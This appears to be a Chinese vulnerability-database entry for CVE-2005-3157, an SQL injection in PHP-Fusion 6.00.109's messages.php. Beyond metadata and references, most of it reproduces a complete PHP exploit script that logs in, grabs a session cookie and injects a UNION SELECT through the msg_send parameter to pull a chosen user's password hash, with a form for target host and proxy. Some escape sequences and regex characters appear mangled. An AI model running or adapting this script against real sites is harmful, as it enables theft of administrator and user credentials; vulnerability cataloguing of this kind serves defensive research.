PHP-Fusion ‘message.php’SQL注入漏洞

漏洞ID	1109102	漏洞类型	SQL注入
发布时间	2005-09-28	更新时间	2005-10-25
CVE编号	CVE-2005-3157	CNNVD-ID	CNNVD-200510-046
漏洞平台	PHP	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/1237
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200510-046

|漏洞详情

)PHP-Fusion是一个轻量级开源内容管理系统。PHP-Fusion6.00.109的messages.php存在SQL注入漏洞。远程攻击者可以借助msg_send参数执行任意SQL指令。

|漏洞EXP

<php
# if magic_quotes off -> SQL Injection, poc:
#
# http://[target]/[path_to_Php_Fusion]/messages.php?msg_send=' UNION SELECT user_password FROM fusion_users WHERE user_name='[admin_username]'/*
## inserted the above for a better description /str0ke
#
#   19.17 28/09/2005                                                           #
#                                                                              #
#   -- PhpF6_00_109xpl.php                                                     #
#                                                                              #
#   PHP-Fusion v6.00.109 SQL Injection / admin|users credentials disclosure    #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   mphhh, private messages again...tze,tze                                    #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   go!                                                                        #
#                                                                              #
#   Sun-Tzu: "Therefore the clever combatant imposes his will on the enemy,    #
#   but does not allow the enemy's will to be imposed on him"                  #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title> *** PHP-Fusion  v6.00.109  SQL  Injection ***  </title> <meta
http-equiv= "Content-Type"   content="text/html;   charset=iso-8859-1">   <style
type="text/css"><!-- body,td,th {color:#00FF00;} body{background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --> </style></head><body> <p class="Stile6"> Php-Fusion v6.
00.109  SQL Injection / admin|user credentials disclosure </p><p class="Stile6">
a script  by rgod at <a href="http://rgod.altervista.org"       target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1"  method="post"  action="'.$SERVER[PHP_SELF].'?path=value&host=value
&port=value&proxy=value&user=value&pass=value&username=value">   <p>      <input
type="text" name="host"><span class="Stile5"> hostname ( ex:  www.sitename.com )
</span></p> <p> <input type="text" name="path"><span class="Stile5">  path  (ex:
/phpfusion/ or just /)</span></p><p> <input  type="text"  name="port">     <span
class="Stile5">specify a port other than 80 (default value)</span></p><p> <input
type="text" name="user"> <span  class="Stile5">your username </span> </p>    <p>
<input type="text" name="pass"> <span  class="Stile5">your password ( to  get  a
valid session cookie) </span></p><p><input type="text" name="username">    <span
class="Stile5">user  whom you want the password </span></p><p><input type="text"
name="proxy"> <span class="Stile5"> send  exploit  trough  an HTTP proxy </span>
</p> <p> <input type="submit"name="Submit"  value="go!"> </p></form> </td> </tr>
</table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket()
{
global $proxy, $host, $port, $html, $packet;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
           echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
           $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
 		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {
    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,2048);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}


if (($path<>'') and ($host<>'') and ($user<>'') and ($pass<>'') and ($username<>''))
{
  if ($port=='') {$port=80;}

#STEP 1 -> login, to retrieve a session cookie...

$data="user_name=".urlencode(trim($user))."&user_pass=".urlencode(trim($pass))."&login=Login";
if ($proxy=='')
{$packet="POST ".$path."news.php HTTP/1.1rn";}
else
{$packet="POST http://".$host.$path."news.php HTTP/1.1rn";}

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*rn";
$packet.="Referer: http://".$host.$path."/news.phprn";
$packet.="Accept-Language: enrn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Keep-Alivern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: fusion_visited=yes; PHPSESSID=44ab49664b56b97036425427b1ffb8cfrnrn";
$packet.=$data;
show($packet);
sendpacket($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);

# STEP 2 -> SQL Injection, now retrieve the MD5 password hash from database
$username=str_replace("'","",$username);
$sql="' UNION SELECT user_password FROM fusion_users WHERE user_name='".trim($username)."'/*";

if ($proxy=='')
{$packet="GET ".$path."messages.php?msg_send=".urlencode($sql)." HTTP/1.1rn";}
else
{$packet="GET http://".$host.$path."messages.php?msg_send=".urlencode($sql)." HTTP/1.1rn";}

$packet.="User-Agent: GameBoy, Powered by Nintendorn";
$packet.="Host: ".$host."rn";
$packet.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1rn";
$packet.="Accept-Language: enrn";
$packet.="Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1rn";
$packet.="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Cookie2: $Version=1rn";
$packet.="Connection: Keep-Alive, TErn";
$packet.="TE: deflate, gzip, chunked, identity, trailersrnrn";
show($packet);
sendpacket($packet);
if (eregi('For Members only',$html)) {echo 'You have to specify a valid session cookie...'; die; }
$temp=explode("'Click to view the senders profile'>",$html);
$temp2=explode("</a>",$temp[1]);
$hash=$temp2[0];
echo '<br>Username: '.htmlentities($username).' Password hash: '.$hash;

}
else
{ echo '<br> Fill requested fields, optionally specify a proxy...';}

?>

# milw0rm.com [2005-09-28]

|参考资料

来源:MISC
链接:http://rgod.altervista.org/phpfusion600109.html
来源:BUGTRAQ
名称:20050928PHP-Fusionv6.00.109SQLInjection/admin|userscredentials
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=112793982604963&w;=2
来源:www.php-fusion.co.uk
链接:http://www.php-fusion.co.uk/news.php?readmore=259
来源:SECUNIA
名称:16994
链接:http://secunia.com/advisories/16994

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